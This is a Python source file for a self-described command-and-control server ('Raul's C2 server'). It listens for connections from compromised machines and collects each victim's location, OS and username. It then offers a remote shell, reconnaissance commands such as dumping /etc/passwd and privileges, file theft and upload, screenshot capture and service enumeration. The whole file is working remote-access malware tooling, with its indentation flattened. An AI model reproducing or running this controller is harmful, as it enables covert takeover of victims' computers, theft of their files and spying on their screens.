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c2_server.py
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import socket
import os
import sys
import time
import pyfiglet
from colorama import Fore, Style
from cryptography.fernet import Fernet
import termcolor
import signal
import shutil
import platform
import datetime
def signal_handler(sig,frame):
print(Fore.RED+'\nCTRL^C detected by server..\n'+Style.RESET_ALL)
try:
sys.exit()
except SystemExit:
pass
signal.signal(signal.SIGINT,signal_handler)
def generate_key():
key = b'pVYWs5nkSVKW8Lr4oTCh635uMBLeqvEpLHL5lW4UH5g='
cipher = Fernet(key=key)
print(cipher)
def main():
now = datetime.datetime.now()
year = now.strftime("%Y-%m-%d")
clock = now.strftime("%H:%M:%S")
title_text = " Raul's C2 server"
title_output = pyfiglet.figlet_format(text=title_text)
print(termcolor.colored(title_output, 'red', attrs=['bold']))
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0",7777))
server.listen(3)
print('[+] Waiting for connection [+]')
time.sleep(2)
while True:
conn, addr = server.accept()
print(Fore.LIGHTGREEN_EX+'[' + year + ' ' + clock + '] ' + 'Connection received from', addr[0]+Style.RESET_ALL)
print('#' * 119+'\n')
city = conn.recv(8192).decode('UTF-8')
geolocation = conn.recv(4096).decode('UTF-8')
os_type = conn.recv(8192).decode('UTF-8')
print(Fore.CYAN +"\t\t\t City:" + city+ " <----------------> " + "Geolocation:"+geolocation+Style.RESET_ALL)
print(Fore.RED+os_type+Style.RESET_ALL)
user = conn.recv(1024).decode('UTF-8')
print(Fore.RED + user +Style.RESET_ALL)
my_os = platform.system().lower()
text = '''\t\t [+] A) Execute a command [+]
[+] B) System Information [+]
[+] C) Download a file from client [+]
[+] D) Upload a file [+]
[+] E) Take a screenshot from client [+]
[+] F) Running Services in target [+]
[+] Please write quit or exit for stop the server [+]\n'''
try:
while True:
print(Fore.BLUE + text + Style.RESET_ALL)
option = input("Please enter a option:")
if option.lower() == 'a':
while True:
data = input('Shell>> ')
def create_log():
with open("server.log.txt","a") as file:
file.write(data+"\n")
create_log()
if data == 'exit':
break
if data == 'cd ':
conn.send('cd'.encode('UTF-8'))
cwd = conn.recv(4096).decode('UTF-8')
print(cwd)
continue
if data == 'cd ../':
conn.send('cd ../'.encode('UTF-8'))
cwd = conn.recv(4096).decode('UTF-8')
print(cwd)
continue
if 'linux' in os_type:
if data == 'cd ~':
conn.send('cd ~'.strip())
resp = conn.recv()
print(resp)
continue
if not data:
continue
conn.send(data.encode())
resp = conn.recv(50000000).decode()
if resp:
print(resp)
continue
if not resp:
continue
elif option.lower() == 'b':
if 'windows' in os_type.lower():
information = ['whoami', 'net user', 'whoami /priv', 'net localgroup', 'ipconfig | findstr IPv4', 'systeminfo', 'qwinsta']
for info in information:
conn.send(info.encode('UTF-8'))
resp = conn.recv(4915200).decode('UTF-8')
print(resp)
elif 'linux' in os_type.lower() or 'darwin' in os_type.lower():
information = [r'echo "$(hostname)\\$(whoami)"', 'id', 'ifconfig', 'cat /etc/passwd', 'uname -a','who']
for info in information:
conn.send(info.encode('UTF-8'))
resp = conn.recv(491520).decode('UTF-8')
print(resp)
else:
print(Fore.GREEN+"[!] Please try it manually..(( [!]"+Style.RESET_ALL)
continue
elif option.lower() == 'c':
file_name = input("Enter the file name to download: ")
if not file_name:
print(Fore.RED+"[-] Invalid file name [-]")
Style.RESET_ALL
continue
else:
conn.send("download".encode('utf-8') + b' ' + file_name.encode('utf-8'))
file_content = conn.recv(49152)
with open(file_name, 'wb') as f:
f.write(file_content)
print(f"{file_name} downloaded successfully!")
elif option.lower() == 'd':
file_name = input("Please enter the file name for upload: ")
if not file_name:
print(Fore.RED+"[-] Invalid file name [-]"+Style.RESET_ALL)
continue
else:
try:
if os.path.exists(file_name):
conn.send(f"upload {file_name}".encode())
with open(file_name, 'rb') as f:
file_content = f.read()
conn.sendall(file_content)
print(Fore.RED+"[+] File upload successfully [+]")
Style.RESET_ALL
continue
except FileNotFoundError:
print(Fore.RED + "[!] File Not Found [!]\n" + Style.RESET_ALL)
continue
elif option.lower() == 'e':
conn.send('screenshot'.encode('UTF-8'))
screenshot = conn.recv(658876000)
with open('screenshot.png','wb') as f:
f.write(screenshot)
time.sleep(2)
f.close()
if my_os == 'windows':
try:
userprofile = os.getenv('USERPROFILE')
pwd = os.getcwd()
shutil.copyfile(src=os.path.join(pwd,'screenshot.png'), dst=os.path.join(userprofile, 'Desktop', 'screenshot.png'))
os.system('start screenshot.png')
print(Fore.YELLOW+"[+] Screenshot saved your desktop [+]\n"+Style.RESET_ALL)
except FileExistsError:
print("In your directory have a same named file..")
pass
elif my_os == 'linux':
try:
home_directory = os.getenv('HOME')
pwd = os.getcwd()
shutil.copy2(src=os.path.join(pwd,'screenshot1.png'),dst=os.path.join(home_directory,'Desktop','screenshot1.png'))
os.system('xdg-open screenshot1.png')
print(Fore.YELLOW+"[+] Screenshot saved your Desktop [+]\n"+Style.RESET_ALL)
except FileExistsError:
print("In your directory have a same named file..")
pass
elif my_os == 'darwin':
try:
home_directory = os.getenv('HOME')
pwd = os.getcwd()
shutil.copy2(src=os.path.join(pwd, 'screenshot1.png'), dst=os.path.join(home_directory, 'Desktop', 'screenshot1.png'))
os.system('open screenshot1.png')
print(Fore.YELLOW+"[+] Screenshot saved to your Desktop [+]\n"+Style.RESET_ALL)
except FileExistsError:
print("A file with the same name already exists in your directory.")
pass
else:
print("Operating system not detected for screenshot")
continue
elif option.lower() == 'f':
conn.send("service_enum".encode('UTF-8'))
response1 = conn.recv(90000000).decode('UTF-8')
response2 = conn.recv(90000000).decode('UTF-8')
print(response1)
print(response2)
continue
elif 'quit' in option or 'exit' in option:
stop = "[-] Server stoppped! [-]\n"
print(Fore.RED+stop+Style.RESET_ALL)
conn.close()
server.close()
sys.exit()
else:
print("Invalid option!")
continue
except ConnectionRefusedError:
print(Fore.RED + 'Connection refused by user...'+ Style.RESET_ALL)
sys.exit()
except ConnectionAbortedError:
print(Fore.RED + "Command Error!" +Style.RESET_ALL)
sys.exit()
except Exception as e:
print(Fore.RED+'[-] Have an error: {}! [-]\n'.format(e)+Style.RESET_ALL)
sys.exit()
if __name__ == "__main__":
#generate_key()
main()